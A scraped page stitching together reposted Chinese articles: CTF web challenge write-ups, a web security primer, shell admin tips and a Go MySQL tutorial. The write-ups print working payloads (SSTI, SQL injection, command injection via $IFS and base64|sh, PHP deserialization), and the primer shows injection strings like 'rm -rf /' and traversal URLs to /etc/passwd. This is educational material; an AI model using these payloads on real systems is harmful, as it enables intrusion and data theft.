绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为：fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入： /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目： 1.tornado是一个python的模板，可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息，想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞，尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入： 查字段：1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表： [GXYCTF2019]Ping Ping Ping 考察：RCE的防护绕过 直接构造：?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格，使用拼接变量来拼接出Flag字符串： 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么：?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥，flag字眼也过滤了，bash也没了，不过sh没过滤： 继续构造payload： ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码，得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass，具体看这里 HP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事： 1.删除空白符2.将某些字符转换为下划线（包括空格） scandir()：列出参数目录中的文件和目录 发现/被过滤了 ，可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload： 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典，要带路径 -r 递归跑(查到一个目录后，重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道，如果password=100，username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时，属性个数的值大于实际属性个数时，就可以 2.private修饰符的问题 private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover， 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法： flask session 伪造 具体，看这里 flask中session是存储在客户端cookie中的，也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是，签名的作用是防篡改，而无法防止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显： 1' uniunionon selselectect 1,2,3 over！正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接：https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...产品最基础的根本。 SQL 注入 SQL 注入漏洞（SQL Injection）是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息，或者利用数据库的特性执行添加用户，导出文件等一系列恶意操作，甚至有可能获取数据库乃至系统用户最高权限。 而造成 SQL 注入的原因是因为程序没有有效的转义过滤用户的输入，使攻击者成功的向服务器提交恶意的 SQL 查询代码，程序在接收后错误的将攻击者的输入作为查询语句的一部分执行，导致原始的查询逻辑被改变，额外的执行了攻击者精心构造的恶意代码。 很多 Web 开发者没有意识到 SQL 查询是可以被篡改的，从而把 SQL 查询当作可信任的命令。殊不知，SQL 查询是可以绕开访问控制，从而绕过身份验证和权限检查的。更有甚者，有可能通过 SQL 查询去运行主机系统级的命令。 SQL 注入原理 下面将通过一些真实的例子来详细讲解 SQL 注入的方式的原理。 考虑以下简单的管理员登录表单： <form action="/login" method="POST"><p>Username: <input type="text" name="username" /></p><p>Password: <input type="password" name="password" /></p><p><input type="submit" value="登陆" /></p></form> 后端的 SQL 语句可能是如下这样的： let querySQL = SELECT FROM userWHERE username='${username}'AND psw='${password}'; // 接下来就是执行 sql 语句… 目的就是来验证用户名和密码是不是正确，按理说乍一看上面的 SQL 语句也没什么毛病，确实是能够达到我们的目的，可是你只是站在用户会老老实实按照你的设计来输入的角度来看问题，如果有一个恶意攻击者输入的用户名是 zoumiaojiang’ OR 1 = 1 --，密码随意输入，就可以直接登入系统了。WFT! 冷静下来思考一下，我们之前预想的真实 SQL 语句是: SELECT FROM user WHERE username='zoumiaojiang' AND psw='mypassword' 可以恶意攻击者的奇怪用户名将你的 SQL 语句变成了如下形式： SELECT FROM user WHERE username='zoumiaojiang' OR 1 = 1 --' AND psw='xxxx' 在 SQL 中，-- 是注释后面的内容的意思，所以查询语句就变成了： SELECT FROM user WHERE username='zoumiaojiang' OR 1 = 1 这条 SQL 语句的查询条件永远为真，所以意思就是恶意攻击者不用我的密码，就可以登录进我的账号，然后可以在里面为所欲为，然而这还只是最简单的注入，牛逼的 SQL 注入高手甚至可以通过 SQL 查询去运行主机系统级的命令，将你主机里的内容一览无余，这里我也没有这个能力讲解的太深入，毕竟不是专业研究这类攻击的，但是通过以上的例子，已经了解了 SQL 注入的原理，我们基本已经能找到防御 SQL 注入的方案了。 如何预防 SQL 注入 防止 SQL 注入主要是不能允许用户输入的内容影响正常的 SQL 语句的逻辑，当用户的输入的信息将要用来拼接 SQL 语句的话，我们应该永远选择不相信，任何内容都必须进行转义过滤，当然做到这个还是不够的，下面列出防御 SQL 注入的几点注意事项： 严格限制Web应用的数据库的操作权限，给此用户提供仅仅能够满足其工作的最低权限，从而最大限度的减少注入攻击对数据库的危害 后端代码检查输入的数据是否符合预期，严格限制变量的类型，例如使用正则表达式进行一些匹配处理。 对进入数据库的特殊字符（’，"，\，<，>，&，，; 等）进行转义处理，或编码转换。基本上所有的后端语言都有对字符串进行转义处理的方法，比如 lodash 的 lodash._escapehtmlchar 库。 所有的查询语句建议使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数。 mysql.query(SELECT FROM user WHERE username = ? AND psw = ?, [username, psw]); 在应用发布之前建议使用专业的 SQL 注入检测工具进行检测，以及时修补被发现的 SQL 注入漏洞。网上有很多这方面的开源工具，例如 sqlmap、SQLninja 等。 避免网站打印出 SQL 错误信息，比如类型错误、字段不匹配等，把代码里的 SQL 语句暴露出来，以防止攻击者利用这些错误信息进行 SQL 注入。 不要过于细化返回的错误信息，如果目的是方便调试，就去使用后端日志，不要在接口上过多的暴露出错信息，毕竟真正的用户不关心太多的技术细节，只要话术合理就行。 碰到要操作的数据库的代码，一定要慎重，小心使得万年船，多找几个人多来几次 code review，将问题都暴露出来，而且要善于利用工具，操作数据库相关的代码属于机密，没事不要去各种论坛晒自家站点的 SQL 语句，万一被人盯上了呢？ 命令行注入 命令行注入漏洞，指的是攻击者能够通过 HTTP 请求直接侵入主机，执行攻击者预设的 shell 命令，听起来好像匪夷所思，这往往是 Web 开发者最容易忽视但是却是最危险的一个漏洞之一，看一个实例： 假如现在需要实现一个需求：用户提交一些内容到服务器，然后在服务器执行一些系统命令去产出一个结果返回给用户，接口的部分实现如下： // 以 Node.js 为例，假如在接口中需要从 github 下载用户指定的 repoconst exec = require('mz/child_process').exec;let params = {/ 用户输入的参数 /};exec(git clone ${params.repo} /some/path); 这段代码确实能够满足业务需求，正常的用户也确实能从指定的 git repo 上下载到想要的代码，可是和 SQL 注入一样，这段代码在恶意攻击者眼中，简直就是香饽饽。 如果 params.repo 传入的是 https://github.com/zoumiaojiang/zoumiaojiang.github.io.git 当然没问题了。 可是如果 params.repo 传入的是 https://github.com/xx/xx.git && rm -rf / && 恰好你的服务是用 root 权限起的就惨了。 具体恶意攻击者能用命令行注入干什么也像 SQL 注入一样，手法是千变万化的，比如「反弹 shell 注入」等，但原理都是一样的，我们绝对有能力防止命令行注入发生。防止命令行注入需要做到以下几件事情： 后端对前端提交内容需要完全选择不相信，并且对其进行规则限制（比如正则表达式）。 在调用系统命令前对所有传入参数进行命令行参数转义过滤。 不要直接拼接命令语句，借助一些工具做拼接、转义预处理，例如 Node.js 的 shell-escape npm 包。 还是前面的例子，我们可以做到如下： const exec = require('mz/child_process').exec;// 借助 shell-escape npm 包解决参数转义过滤问题const shellescape = require('shell-escape');let params = {/ 用户输入的参数 /};// 先过滤一下参数，让参数符合预期if (!/正确的表达式/.test(params.repo)) {return;}let cmd = shellescape(['git','clone',params.repo,'/some/path']);// cmd 的值: git clone 'https://github.com/xx/xx.git && rm -rf / &&' /some/path// 这样就不会被注入成功了。exec(cmd); DDoS 攻击 DDoS 又叫分布式拒绝服务，全称 Distributed Denial of Service，其原理就是利用大量的请求造成资源过载，导致服务不可用，这个攻击应该不能算是安全问题，这应该算是一个另类的存在，因为这种攻击根本就是耍流氓的存在，「伤敌一千，自损八百」的行为。出于保护 Web App 不受攻击的攻防角度，还是介绍一下 DDoS 攻击吧，毕竟也是挺常见的。 DDoS 攻击可以理解为：「你开了一家店，隔壁家点看不惯，就雇了一大堆黑社会人员进你店里干坐着，也不消费，其他客人也进不来，导致你营业惨淡」。为啥说 DDoS 是个「伤敌一千，自损八百」的行为呢？毕竟隔壁店还是花了不少钱雇黑社会但是啥也没得到不是？DDoS 攻击的目的基本上就以下几个： 深仇大恨，就是要干死你 敲诈你，不给钱就干你 忽悠你，不买我防火墙服务就会有“人”继续干你 也许你的站点遭受过 DDoS 攻击，具体什么原因怎么解读见仁见智。DDos 攻击从层次上可分为网络层攻击与应用层攻击，从攻击手法上可分为快型流量攻击与慢型流量攻击，但其原理都是造成资源过载，导致服务不可用。 网络层 DDoS 网络层 DDos 攻击包括 SYN Flood、ACK Flood、UDP Flood、ICMP Flood 等。 SYN Flood 攻击 SYN flood 攻击主要利用了 TCP 三次握手过程中的 Bug，我们都知道 TCP 三次握手过程是要建立连接的双方发送 SYN，SYN + ACK，ACK 数据包，而当攻击方随意构造源 IP 去发送 SYN 包时，服务器返回的 SYN + ACK 就不能得到应答（因为 IP 是随意构造的），此时服务器就会尝试重新发送，并且会有至少 30s 的等待时间，导致资源饱和服务不可用，此攻击属于慢型 DDoS 攻击。 ACK Flood 攻击 ACK Flood 攻击是在 TCP 连接建立之后，所有的数据传输 TCP 报文都是带有 ACK 标志位的，主机在接收到一个带有 ACK 标志位的数据包的时候，需要检查该数据包所表示的连接四元组是否存在，如果存在则检查该数据包所表示的状态是否合法，然后再向应用层传递该数据包。如果在检查中发现该数据包不合法，例如该数据包所指向的目的端口在本机并未开放，则主机操作系统协议栈会回应 RST 包告诉对方此端口不存在。 UDP Flood 攻击 UDP flood 攻击是由于 UDP 是一种无连接的协议，因此攻击者可以伪造大量的源 IP 地址去发送 UDP 包，此种攻击属于大流量攻击。正常应用情况下，UDP 包双向流量会基本相等，因此发起这种攻击的攻击者在消耗对方资源的时候也在消耗自己的资源。 ICMP Flood 攻击 ICMP Flood 攻击属于大流量攻击，其原理就是不断发送不正常的 ICMP 包（所谓不正常就是 ICMP 包内容很大），导致目标带宽被占用，但其本身资源也会被消耗。目前很多服务器都是禁 ping 的（在防火墙在可以屏蔽 ICMP 包），因此这种攻击方式已经落伍。 网络层 DDoS 防御 网络层的 DDoS 攻击究其本质其实是无法防御的，我们能做得就是不断优化服务本身部署的网络架构，以及提升网络带宽。当然，还是做好以下几件事也是有助于缓解网络层 DDoS 攻击的冲击： 网络架构上做好优化，采用负载均衡分流。 确保服务器的系统文件是最新的版本，并及时更新系统补丁。 添加抗 DDos 设备，进行流量清洗。 限制同时打开的 SYN 半连接数目，缩短 SYN 半连接的 Timeout 时间。 限制单 IP 请求频率。 防火墙等防护设置禁止 ICMP 包等。 严格限制对外开放的服务器的向外访问。 运行端口映射程序或端口扫描程序，要认真检查特权端口和非特权端口。 关闭不必要的服务。 认真检查网络设备和主机/服务器系统的日志。只要日志出现漏洞或是时间变更,那这台机器就可能遭到了攻击。 限制在防火墙外与网络文件共享。这样会给黑客截取系统文件的机会，主机的信息暴露给黑客，无疑是给了对方入侵的机会。 加钱堆机器。。 报警。。 应用层 DDoS 应用层 DDoS 攻击不是发生在网络层，是发生在 TCP 建立握手成功之后，应用程序处理请求的时候，现在很多常见的 DDoS 攻击都是应用层攻击。应用层攻击千变万化，目的就是在网络应用层耗尽你的带宽，下面列出集中典型的攻击类型。 CC 攻击 当时绿盟为了防御 DDoS 攻击研发了一款叫做 Collapasar 的产品，能够有效的防御 SYN Flood 攻击。黑客为了挑衅，研发了一款 Challenge Collapasar 攻击工具（简称 CC）。 CC 攻击的原理，就是针对消耗资源比较大的页面不断发起不正常的请求，导致资源耗尽。因此在发送 CC 攻击前，我们需要寻找加载比较慢，消耗资源比较多的网页，比如需要查询数据库的页面、读写硬盘文件的等。通过 CC 攻击，使用爬虫对某些加载需要消耗大量资源的页面发起 HTTP 请求。 DNS Flood DNS Flood 攻击采用的方法是向被攻击的服务器发送大量的域名解析请求，通常请求解析的域名是随机生成或者是网络世界上根本不存在的域名，被攻击的DNS 服务器在接收到域名解析请求的时候首先会在服务器上查找是否有对应的缓存，如果查找不到并且该域名无法直接由服务器解析的时候，DNS 服务器会向其上层 DNS 服务器递归查询域名信息。域名解析的过程给服务器带来了很大的负载，每秒钟域名解析请求超过一定的数量就会造成 DNS 服务器解析域名超时。 根据微软的统计数据，一台 DNS 服务器所能承受的动态域名查询的上限是每秒钟 9000 个请求。而我们知道，在一台 P3 的 PC 机上可以轻易地构造出每秒钟几万个域名解析请求，足以使一台硬件配置极高的 DNS 服务器瘫痪，由此可见 DNS 服务器的脆弱性。 HTTP 慢速连接攻击 针对 HTTP 协议，先建立起 HTTP 连接，设置一个较大的 Conetnt-Length，每次只发送很少的字节，让服务器一直以为 HTTP 头部没有传输完成，这样连接一多就很快会出现连接耗尽。 应用层 DDoS 防御 判断 User-Agent 字段（不可靠，因为可以随意构造） 针对 IP + cookie，限制访问频率（由于 cookie 可以更改，IP 可以使用代理，或者肉鸡，也不可靠) 关闭服务器最大连接数等，合理配置中间件，缓解 DDoS 攻击。 请求中添加验证码，比如请求中有数据库操作的时候。 编写代码时，尽量实现优化，并合理使用缓存技术，减少数据库的读取操作。 加钱堆机器。。 报警。。 应用层的防御有时比网络层的更难，因为导致应用层被 DDoS 攻击的因素非常多，有时往往是因为程序员的失误，导致某个页面加载需要消耗大量资源，有时是因为中间件配置不当等等。而应用层 DDoS 防御的核心就是区分人与机器（爬虫），因为大量的请求不可能是人为的，肯定是机器构造的。因此如果能有效的区分人与爬虫行为，则可以很好地防御此攻击。 其他 DDoS 攻击 发起 DDoS 也是需要大量的带宽资源的，但是互联网就像森林，林子大了什么鸟都有，DDoS 攻击者也能找到其他的方式发起廉价并且极具杀伤力的 DDoS 攻击。 利用 XSS 举个例子，如果 12306 页面有一个 XSS 持久型漏洞被恶意攻击者发现，只需在春节抢票期间在这个漏洞中执行脚本使得往某一个小站点随便发点什么请求，然后随着用户访问的增多，感染用户增多，被攻击的站点自然就会迅速瘫痪了。这种 DDoS 简直就是无本万利，不用惊讶，现在大站有 XSS 漏洞的不要太多。 来自 P2P 网络攻击 大家都知道，互联网上的 P2P 用户和流量都是一个极为庞大的数字。如果他们都去一个指定的地方下载数据，成千上万的真实 IP 地址连接过来，没有哪个设备能够支撑住。拿 BT 下载来说，伪造一些热门视频的种子，发布到搜索引擎，就足以骗到许多用户和流量了，但是这只是基础攻击。 高级的 P2P 攻击，是直接欺骗资源管理服务器。如迅雷客户端会把自己发现的资源上传到资源管理服务器，然后推送给其它需要下载相同资源的用户，这样，一个链接就发布出去。通过协议逆向，攻击者伪造出大批量的热门资源信息通过资源管理中心分发出去，瞬间就可以传遍整个 P2P 网络。更为恐怖的是，这种攻击是无法停止的，即使是攻击者自身也无法停止，攻击一直持续到 P2P 官方发现问题更新服务器且下载用户重启下载软件为止。 最后总结下，DDoS 不可能防的住，就好比你的店只能容纳 50 人，黑社会有 100 人，你就换一家大店，能容纳 500 人，然后黑社会又找来了 1000 人，这种堆人头的做法就是 DDoS 本质上的攻防之道，「道高一尺，魔高一丈，魔高一尺，道高一丈」，讲真，必要的时候就答应勒索你的人的条件吧，实在不行就报警吧。 流量劫持 流量劫持应该算是黑产行业的一大经济支柱了吧？简直是让人恶心到吐，不吐槽了，还是继续谈干货吧，流量劫持基本分两种：DNS 劫持 和 HTTP 劫持，目的都是一样的，就是当用户访问 zoumiaojiang.com 的时候，给你展示的并不是或者不完全是 zoumiaojiang.com 提供的 “内容”。 DNS 劫持 DNS 劫持，也叫做域名劫持，可以这么理解，「你打了一辆车想去商场吃饭，结果你打的车是小作坊派来的，直接给你拉到小作坊去了」，DNS 的作用是把网络地址域名对应到真实的计算机能够识别的 IP 地址，以便计算机能够进一步通信，传递网址和内容等。如果当用户通过某一个域名访问一个站点的时候，被篡改的 DNS 服务器返回的是一个恶意的钓鱼站点的 IP，用户就被劫持到了恶意钓鱼站点，然后继而会被钓鱼输入各种账号密码信息，泄漏隐私。 dns劫持 这类劫持，要不就是网络运营商搞的鬼，一般小的网络运营商与黑产勾结会劫持 DNS，要不就是电脑中毒，被恶意篡改了路由器的 DNS 配置，基本上做为开发者或站长却是很难察觉的，除非有用户反馈，现在升级版的 DNS 劫持还可以对特定用户、特定区域等使用了用户画像进行筛选用户劫持的办法，另外这类广告显示更加随机更小，一般站长除非用户投诉否则很难觉察到，就算觉察到了取证举报更难。无论如何，如果接到有 DNS 劫持的反馈，一定要做好以下几件事： 取证很重要，时间、地点、IP、拨号账户、截屏、URL 地址等一定要有。 可以跟劫持区域的电信运营商进行投诉反馈。 如果投诉反馈无效，直接去工信部投诉，一般来说会加白你的域名。 HTTP 劫持 HTTP 劫持您可以这么理解，「你打了一辆车想去商场吃饭，结果司机跟你一路给你递小作坊的广告」，HTTP 劫持主要是当用户访问某个站点的时候会经过运营商网络，而不法运营商和黑产勾结能够截获 HTTP 请求返回内容，并且能够篡改内容，然后再返回给用户，从而实现劫持页面，轻则插入小广告，重则直接篡改成钓鱼网站页面骗用户隐私。能够实施流量劫持的根本原因，是 HTTP 协议没有办法对通信对方的身份进行校验以及对数据完整性进行校验。如果能解决这个问题，则流量劫持将无法轻易发生。所以防止 HTTP 劫持的方法只有将内容加密，让劫持者无法破解篡改，这样就可以防止 HTTP 劫持了。 HTTPS 协议就是一种基于 SSL 协议的安全加密网络应用层协议，可以很好的防止 HTTP 劫持。这里有篇 文章 讲的不错。HTTPS 在这就不深讲了，后面有机会我会单独好好讲讲 HTTPS。如果不想站点被 HTTP 劫持，赶紧将你的站点全站改造成 HTTPS 吧。 服务器漏洞 服务器除了以上提到的那些大名鼎鼎的漏洞和臭名昭著的攻击以外，其实还有很多其他的漏洞，往往也很容易被忽视，在这个小节也稍微介绍几种。 越权操作漏洞 如果你的系统是有登录控制的，那就要格外小心了，因为很有可能你的系统越权操作漏洞，越权操作漏洞可以简单的总结为 「A 用户能看到或者操作 B 用户的隐私内容」，如果你的系统中还有权限控制就更加需要小心了。所以每一个请求都需要做 userid 的判断 以下是一段有漏洞的后端示意代码： // ctx 为请求的 context 上下文let msgId = ctx.params.msgId;mysql.query('SELECT FROM msg_table WHERE msg_id = ?',[msgId]); 以上代码是任何人都可以查询到任何用户的消息，只要有 msg_id 就可以，这就是比较典型的越权漏洞，需要如下这么改进一下： // ctx 为请求的 context 上下文let msgId = ctx.params.msgId;let userId = ctx.session.userId; // 从会话中取出当前登陆的 userIdmysql.query('SELECT FROM msg_table WHERE msg_id = ? AND user_id = ?',[msgId, userId]); 嗯，大概就是这个意思，如果有更严格的权限控制，那在每个请求中凡是涉及到数据库的操作都需要先进行严格的验证，并且在设计数据库表的时候需要考虑进 userId 的账号关联以及权限关联。 目录遍历漏洞 目录遍历漏洞指通过在 URL 或参数中构造 …/，./ 和类似的跨父目录字符串的 ASCII 编码、unicode 编码等，完成目录跳转，读取操作系统各个目录下的敏感文件，也可以称作「任意文件读取漏洞」。 目录遍历漏洞原理：程序没有充分过滤用户输入的 …/ 之类的目录跳转符，导致用户可以通过提交目录跳转来遍历服务器上的任意文件。使用多个… 符号，不断向上跳转，最终停留在根 /，通过绝对路径去读取任意文件。 目录遍历漏洞几个示例和测试，一般构造 URL 然后使用浏览器直接访问，或者使用 Web 漏洞扫描工具检测，当然也可以自写程序测试。 http://somehost.com/../../../../../../../../../etc/passwdhttp://somehost.com/some/path?file=../../Windows/system.ini 借助 %00 空字符截断是一个比较经典的攻击手法http://somehost.com/some/path?file=../../Windows/system.ini%00.js 使用了 IIS 的脚本目录来移动目录并执行指令http://somehost.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ 防御 方法就是需要对 URL 或者参数进行 …/，./ 等字符的转义过滤。 物理路径泄漏 物理路径泄露属于低风险等级缺陷，它的危害一般被描述为「攻击者可以利用此漏洞得到信息，来对系统进一步地攻击」，通常都是系统报错 500 的错误信息直接返回到页面可见导致的漏洞。得到物理路径有些时候它能给攻击者带来一些有用的信息，比如说：可以大致了解系统的文件目录结构；可以看出系统所使用的第三方软件；也说不定会得到一个合法的用户名（因为很多人把自己的用户名作为网站的目录名）。 防止这种泄漏的方法就是做好后端程序的出错处理，定制特殊的 500 报错页面。 源码暴露漏洞 和物理路径泄露类似，就是攻击者可以通过请求直接获取到你站点的后端源代码，然后就可以对系统进一步研究攻击。那么导致源代码暴露的原因是什么呢？基本上就是发生在服务器配置上了，服务器可以设置哪些路径的文件才可以被直接访问的，这里给一个 koa 服务起的例子，正常的 koa 服务器可以通过 koa-static 中间件去指定静态资源的目录，好让静态资源可以通过路径的路由访问。比如你的系统源代码目录是这样的： |- project|- src|- static|- ...|- server.js 你想要将 static 的文件夹配成静态资源目录，你应该会在 server.js 做如下配置： const Koa = require('koa');const serve = require('koa-static');const app = new Koa();app.use(serve(__dirname + '/project/static')); 但是如果配错了静态资源的目录，可能就出大事了，比如： // ...app.use(serve(__dirname + '/project')); 这样所有的源代码都可以通过路由访问到了，所有的服务器都提供了静态资源机制，所以在通过服务器配置静态资源目录和路径的时候，一定要注意检验，不然很可能产生漏洞。 最后，希望 Web 开发者们能够管理好自己的代码隐私，注意代码安全问题，比如不要将产品的含有敏感信息的代码放到第三方外部站点或者暴露给外部用户，尤其是前端代码，私钥类似的保密性的东西不要直接输出在代码里或者页面中。也许还有很多值得注意的点，但是归根结底还是绷住安全那根弦，对待每一行代码都要多多推敲。 请关注我的订阅号 本篇文章为转载内容。原文链接：https://blog.csdn.net/MrCoderStack/article/details/88547919。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...多种数据存储选项（如SQL Server、Azure Table Storage等）。在本文中，作者详细介绍了如何利用ASP.NET Identity进行自定义用户属性扩展、数据库迁移以及通过声明（Claims）进行细粒度的授权访问控制。 Entity Framework Code First , Entity Framework Code First 是一种ORM（对象关系映射）设计模式，允许开发者通过编写C代码来定义数据库模型，随后由Entity Framework自动创建对应的数据库架构。在ASP.NET Identity应用中，通过Code First技术可以方便地为用户类添加自定义属性，并根据这些属性的变化自动更新数据库结构，而无需手动编辑数据库脚本或删除已有数据。 声明（Claims） , 在ASP.NET Identity框架中，声明（Claims）是一种用于表示用户特定信息的数据结构，它可以包含用户的任意属性或特性，例如姓名、年龄、角色或者权限等。声明被用来实现细粒度的授权机制，应用程序可以根据用户携带的声明值灵活地决定其对资源的访问权限。在本文中，作者演示了如何使用声明来进行动作方法的授权访问控制，使得身份验证和授权过程更为灵活与精准。

...3行 2 替换复杂的SQL语句： DATA DIRECTORY='./beihai365_pw/' INDEX DIRECTORY='./beihai365_pw/'; sed s@DATA\ DIRECTORY=\'./beihai365_pw/\'\ INDEX\ DIRECTORY=\'./beihai365_pw/\'\;@\;@g xxx.sql > xxx2.sql 3 改变 shell chsh -s /bin/bash root 4 不能使用 TAB list 。 默认是 csh .cshrc里加上set autolist 5 port 安装PHP扩展的时候， 只需要 : make 就行了 6 查出哪个IP地址连接最多,将其封了. netstat -na|grep ESTABLISHED|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -r +0n netstat -na|grep SYN|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -r +0n 7 netstat快速查看一下TCP连接情况 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 8 vi 里删除所有内容 :%d 9 tcpdump host x.x.x.x 监控某IP的数据包 tcpdump tcp port 23 host 210.27.48.1 监控某IP 某端口 tcpdump -i eth0 监控某网卡 10 查找多文件中包含的某字符 find / -type f | xargs -n 10 grep 'xxoo' 11 从某行开始查看。 zcat job365_20110406.sql.bz2 | sed -n '10,$p' | more 12 超找当前目录下 包含 490 字符窜的文件 grep 490 . -r 13 按照精确时间查找 sed -n '\/12\/Jun\/2011:02:50/p' nginx-access.log | more 本篇文章为转载内容。原文链接：https://blog.csdn.net/iteye_15968/article/details/82006780。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...关系型数据库或者NoSQL数据库。在这里，我们将重点介绍如何使用Golang与MySQL数据库进行交互。 四、Go与MySQL的连接 首先，我们需要引入“database/sql”包，这个包包含了对SQL数据库的基本操作。然后，我们需要创建一个函数来初始化数据库连接。 go import ( "database/sql" _ "github.com/go-sql-driver/mysql" ) func initDB() (sql.DB, error) { db, err := sql.Open("mysql", "user:password@tcp(localhost:3306)/dbname") if err != nil { return nil, err } return db, nil } 五、插入数据 接下来，我们就可以开始使用连接来进行数据的插入操作了。下面是一个简单的例子： go db, err := initDB() if err != nil { panic(err.Error()) } defer db.Close() _, err = db.Exec("INSERT INTO users (username, password) VALUES (?, ?)", "john", "$2a$10$B8AIFbLlWz2fPnZrjL9wmuPfYmV5XKpQyvJ7UeV9nGZIvnpOKwldO.") if err != nil { panic(err.Error()) } 六、查询数据 除了插入数据，我们还需要能够从数据库中查询数据。同样，这也很简单。下面是一个查询的例子： go db, err := initDB() if err != nil { panic(err.Error()) } defer db.Close() rows, err := db.Query("SELECT FROM users WHERE username = ?", "john") if err != nil { panic(err.Error()) } defer rows.Close() for rows.Next() { var username string var password string err = rows.Scan(&username, &password) if err != nil { panic(err.Error()) } fmt.Println(username, password) } 七、总结 